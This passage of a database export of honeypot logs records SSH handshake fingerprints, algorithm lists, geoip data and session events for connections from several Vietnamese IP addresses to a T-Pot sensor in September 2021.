"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38264, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.203030", "@timestamp": "2021-09-20T11:07:48.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23729	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:48.203893+03	2021-09-20 14:15:07.8825+03	{"_id": "TAbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "725d61c226c3", "@version": "1", "timestamp": "2021-09-20T11:07:48.203893Z", "@timestamp": "2021-09-20T11:07:48.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23730	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.217684+03	2021-09-20 14:15:07.884471+03	{"_id": "TQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "28222e2c42e2", "@version": "1", "timestamp": "2021-09-20T11:07:48.217684Z", "@timestamp": "2021-09-20T11:07:48.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23731	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.288527+03	2021-09-20 14:15:07.88547+03	{"_id": "TgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0c4cc4448a62", "@version": "1", "duration": 2.4042651653289795, "timestamp": "2021-09-20T11:07:48.288527Z", "@timestamp": "2021-09-20T11:07:48.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23732	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:48.645683+03	2021-09-20 14:15:07.887471+03	{"_id": "UgbjAnwBvYTbRNuE_w_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 308382603176223, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39780, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.645683Z", "@timestamp": "2021-09-20T11:07:48.645Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23733	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:48.887192+03	2021-09-20 14:15:07.8885+03	{"_id": "VAbjAnwBvYTbRNuE_w_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 245156389587812, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43880, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.887192Z", "@timestamp": "2021-09-20T11:07:48.887Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23735	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:48.205358+03	2021-09-20 14:15:07.891471+03	{"_id": "VgbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36986, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.205358", "@timestamp": "2021-09-20T11:07:48.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23736	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:48.595994+03	2021-09-20 14:15:07.892471+03	{"_id": "VwbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45338, "timestamp": "2021-09-20T11:07:48.595994", "@timestamp": "2021-09-20T11:07:48.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23737	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:48.612451+03	2021-09-20 14:15:07.894471+03	{"_id": "WAbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43880, "timestamp": "2021-09-20T11:07:48.612451", "@timestamp": "2021-09-20T11:07:48.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23738	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:48.645824+03	2021-09-20 14:15:07.895471+03	{"_id": "WQbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39780, "timestamp": "2021-09-20T11:07:48.645824", "@timestamp": "2021-09-20T11:07:48.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23739	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:48.693067+03	2021-09-20 14:15:07.89647+03	{"_id": "WgbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 